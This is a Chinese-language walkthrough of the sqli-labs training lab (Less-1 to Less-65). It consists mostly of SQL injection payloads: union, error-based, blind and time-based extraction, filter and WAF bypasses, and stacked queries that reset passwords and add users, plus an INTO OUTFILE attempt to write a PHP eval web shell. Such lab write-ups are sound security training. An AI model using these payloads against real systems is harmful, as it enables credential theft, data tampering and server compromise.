SQL注入基本流程:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解中SQL查询语句的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
sql注入基本语句:
order by 4 --+
判断有多少列
union select 1,2,3 --+
判断数据显示点
union select 1,user(),database() --+
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
查看账号密码信息
Less-1
判断是什么类型注入
说明是字符型注入
判断字段数
order by 3 返回正常,而order by 4 返回错误,说明有3个字段
判断显示位
爆破数据库
爆破数据表
爆破users表的列
爆破用户名和密码
Less-2
判断是什么类型注入
说明是数字型注入
其他与上题相似
Less-3
判断是什么类型注入
说明是数字型注入
方法同上
Less-4
判断是什么类型注入
说明是数字型注入
方法同上
Less-5
爆破数据库
id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
剩下方法同上
Less-6
这题与上面一题相似
直接爆破数据库
id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
剩下方法同上
Less-7
我们知道,select查询可以对文档有操作:
读取文档:load_file()
导出文档:into outfile()
这里应该是想让我们利用outfile的文档来查看回显
1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D:\\phpstudy_pro\\WWW\\www.sql-lab.com\\Less-7\\text.php' --+
这题没有成功,可能因为php版本问题吧
Less-8
?id=1' and length(database())=8 --+
说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
以此类推,麻烦是麻烦了点
Less-9
这题为时间盲注
我们采用延时注入
id=1' and if(length(database())>3 ,sleep(5),1) --+
因为我们不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。
当sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名了。
猜数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-10
与上一题同理,只不过是单引号变成双引号
猜数据库
?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表名
?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-11
从本关开始,使用post提交数据
使用万能密码进行尝试
admin' or 1=1#
判断字段数
admin' order by 3#
判断显示位
-1' union select 1,2 #
爆破数据库
-1' union select 1,database() #
爆破数据表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
-1' union select 1,group_concat(username,':',password) from users #
Less-12
与上一题相似
爆破数据库
-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
-1") union select 1,group_concat(username,':',password) from users #
Less-13
admin') #
发现登录成功但是没有回显
抓包
admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' ),0x7e),1)#
因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了
admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#
Less-14
admin"and left(database(),1)>'a'#
剩下方法与Less-9相似
猜数据库
admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表名
admin" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
admin" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-15
与上一题相似,没有回显
猜数据库
admin' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表名
admin' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
admin' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-16
与上一题相似,没有回显
猜数据库
admin") and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表名
admin") and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
admin") and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-17
这题为修改密码了
看一下源代码
substr()函数:返回字符串的一部分。相当于输入的对长度进行限制
stripslashes() 函数:删除其中的反斜杠
ctype_digit()函数:做纯数字检测
mysqli_real_escape_string()函数:对字符串中的特殊字符进行转义,以使得这个字符串是一个合法的 SQL 语句。
intval() 函数:获取变量的整数值
尝试一下报错注入
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
爆破数据表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
爆破列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
爆破用户名和密码
admin' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #
Less-18
尝试抓包(爆破密码的步骤就省略了,密码奇奇怪怪的,看别人就是admin)
先输入正确的账号和密码,随后处理User Agent部分
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
Less-19
方法同上
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
Less-20
admin,1
判断字段数
' order by 4 #
判断显示位
' union select 1,2,3 #
爆破数据库
' union select 1,2,database() #
爆破数据表
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,2,group_concat(username,':',password) from users #
Less-21
先使用admin,1登入
其中uname=YWRtaW4
YWRtaW4进行base64解码就是admin
爆破数据库
') union select 1,2,database() #
base64编码
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICM=
这题与上一题相似,不过在值上修改为base64
爆破数据表
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
base64编码
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=
爆破users表的列
') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
base64编码
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnICM=
爆破用户名和密码
') union select 1,2,group_concat(username,':',password) from users #
base64编码
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSBmcm9tIHVzZXJzICM=
Less-22
与上题相似," 绕过
爆破数据库
" union select 1,2,database() #
base64编码
IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgIw==
爆破数据表
" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
base64编码
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgIw==
爆破users表的列
" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
base64编码
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycgIw==
爆破用户名和密码
" union select 1,2,group_concat(username,':',password) from users #
base64编码
IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMgIw==
Less-23
爆破数据库
' union select 1,2,database() '
爆破数据表
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆破users表的列
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆破用户名和密码
' union select 1,2,group_concat(username,':',password) from users where 1 or '1' = '
Less-24
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
普通用户登录admin-1
首先创建一个恶意账户
用户名:admin' #
密码:123456
登录
然后修改密码为654321
然后我们就可以使用admin-654321登录了
Less-25
判断显示位
-1' union select 1,2,3--+
爆破数据库
-1' union select 1,2,database() --+
爆破数据表,注意information
-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破users表的列
-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码,注意password
-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+
Less-25a
与Less-25类似,只是没有单引号
爆破数据库
-1 union select 1,2,database() --+
爆破数据表
-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破users表的列
-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码
-1 union select 1,2,group_concat(username,':',passwoorrd) from users --+
Less-26
- 过滤 or 和 and:可以用 && 和 || 替换或者采用双写的方式绕过
- 过滤空格:可以用下表的字符进行替换
将空格,or,and,/*,#,--,/等各种符号过滤
使用url编码绕过
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
爆破数据库
-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
爆破数据表,注意information
-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码,注意password
-1'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1
Less-26a
相比于上一题,闭合方式为')
方法同上
爆破数据库
-1')||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
爆破数据表
-1')||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
-1')||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码
-1')||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1
不过我做有点问题
Less-27
爆破数据库,注意大写
-1'||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1
爆破数据表
-1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破users表的列
-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码
-1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1
Less-27a
与上题类似,改为"闭合
方法同上,这里就不多展示了
Less-28
过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入
爆破数据库
a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
爆破数据表
a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆破users表的列
a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆破用户名和密码
a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
Less-28a
方法同上
Less-29
WAF防护是其中之一的功能,WAF主要防护的是来自对网站源站的动态数据攻击,可防护的攻击类型包括SQL注入、XSS攻击、CSRF攻击、恶意爬虫、扫描器、远程文件包含等攻击。
爆破数据库
?id=-1' union select 1,2,database()--+
爆破数据表
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+
Less-30
与上一关相似,就是单引号变为双引号
方法同上
Less-31
与上一关相似,就是用双引号加括号绕过
爆破数据库
?id=1&id=-1") union select 1,2,database() --+
剩下方法同上
Less-32
宽字节绕过引号转义
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
爆破数据库
-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破users表的列
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
Less-33
方法同上
Less-34
实际上和前面两题一样,传参方式不同
爆破数据库
汉' union select 1,database() #
爆破数据表
汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #
爆破users表中的列
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) #
爆破用户名和密码
汉' union select 1,(select group_concat(username,0x3a,password) from users) #
Less-35
判断显示位
-1 union select 1,2,3 --+
爆破数据库
-1 union select 1,2,database() --+
爆破数据表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆破users表的列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users) #
Less-36
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
爆破数据库
-1%df' union select 1,2,database() --+
爆破数据表
-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破users表的列
-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
Less-37
同Less-34的方法
爆破数据库
汉' union select 1,database() #
剩下方法见Less-34
Less-38
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
例如:
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
我们正常查询,因为是堆叠注入,那么我们使用分号,来执行两条命令,我们修改dumb的密码试试
?id=1';update users set password = "12345" where username ='Dumb';--+
使用单引号将1闭合
?id=1
修改成功
Less-39
与上一题一样,不过要将id参数包裹引号去掉罢了
爆破数据表
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆破users列
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
此时,我们就可以在users下插入其他用户,例如
-1 ;insert into users(id,username,password)values(100,'6','666666');
Less-40
同样是堆叠注入,绕过方式变为 ')
查阅数据表
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
剩下方法同上
Less-41
可使用延时注入
爆破数据库
0 union select 1,version(),database() %23
爆破数据表
0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
爆破users表的列
0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
爆破用户名和密码
0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
Less-42
对username进行了过滤,但是password没有改变
爆破数据表
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆破users表的列
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,group_concat(username,':',password),2 from users #
Less-43
与上题一样,只不过闭合方式为')
爆破数据表
') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
剩下方法同上
Less-44
同上,与前面的区别就是这关不能使用报错注入,可以使用时间盲注
' union select 1,group_concat(username,':',password),2 from users #
';insert into users(id,username,password)values(100,'721','nb'); #
Less-45
同上,闭合方式改为')
') union select 1,group_concat(username,':',password),2 from users #
Less-46
?sort=1
首先了解order by参数注入:
order by 注入是指其后面的参数是可控的
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注
爆破数据库
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
爆破数据表
?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));
爆破users表的列
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1)
爆破用户名和密码
?sort=1 and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));
Less-47
与上一关类似,但闭合方式为单引号
爆破数据库
?sort=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
剩下方法同上
Less-48
这关报错没有回显,所以使用时间盲注
爆破数据库
?sort=-1 and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆破数据表
?sort=-1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆破列
?sort=-1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆破值
?sort=-1 and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
Less-49
和Less-48一样,利用时间盲注,不同的是这里是字符型的,需要用单引号闭合
爆破数据库
?sort=-1' and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
剩下方法同上
Less-50
堆叠注入与order by叠加
?sort=1;insert into users(id,username,password)values(101,'721','nb'); --+
Less-51
和Less-50一样,不同之处在于这里要用单引号闭合
?sort=1';insert into users(id,username,password)values(102,'721','nb'); --+
Less-52
和Less-50一样,只是少了报错信息而已,所以这关不能用报错注入
?sort=rand(left(database(),1)>'s')
或者
?sort=1;insert into users(id,username,password)values(103,'721','nb'); --+
Less-53
与上一题第二种方法相似,闭合方式为单引号
?sort=1';insert into users(id,username,password)values(99,'721','nb'); --+
Less-54
仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。
爆破数据库
?id=-1' union select 1,2,database() --+
爆破数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
爆破m9hb9wh5qq表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='m9hb9wh5qq' --+
查阅secret_HKX7
?id=-1' union select 1,group_concat(secret_HKX7),3 from m9hb9wh5qq --+
提交答案
Less-55
与上一题方法一样,就闭合方式为)
爆破数据库
?id=-1) union select 1,2,database() --+
剩下方法同上
Less-56
与上一题方法一样,就闭合方式为')
爆破数据库
?id=-1') union select 1,2,database() --+
剩下方法同上
Less-57
与上一题方法一样,就闭合方式为"
爆破数据库
?id=-1" union select 1,2,database() --+
剩下方法同上
Less-58
这关无法使用union select,并且只有5次机会
爆破数据库
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
爆破hqffjcawit表
?id=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hqffjcawit')),0));--+
爆破secret_OI7N
?id=1' and(updatexml(1,concat(0x7e,(select secret_OI7N from hqffjcawit)),0));--+
Less-59
与上一题相似,不过没有单引号闭合了
爆破数据库
?id=-1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+
剩下方法同上
Less-60
与上一题相似,不过闭合方式为 ")
爆破数据库
?id=-1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+
剩下方法同上
Less-61
与上一题相似,不过闭合方式为'))
爆破数据库
?id=-1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+
剩下方法同上
Less-62
union select无法使用且没有报错返回
使用时间盲注,有130次机会
判断数据库长度
?id=1') and length(database())>5--+
说明大于5
判断数据库第一个字母
?id=1') and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
判断数据表
?id=1') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
修改limit 0,1即可获得第二个,第三个表名
猜flag
?id=1') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-63
与上一题相似,不过闭合方式为'
猜数据库名
?id=1' and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
Less-64
与上一题相似,不过闭合方式为))
猜数据库名
?id=1)) and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
Less-65
与上一题相似,不过闭合方式为")
猜数据库名
?id=1") and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+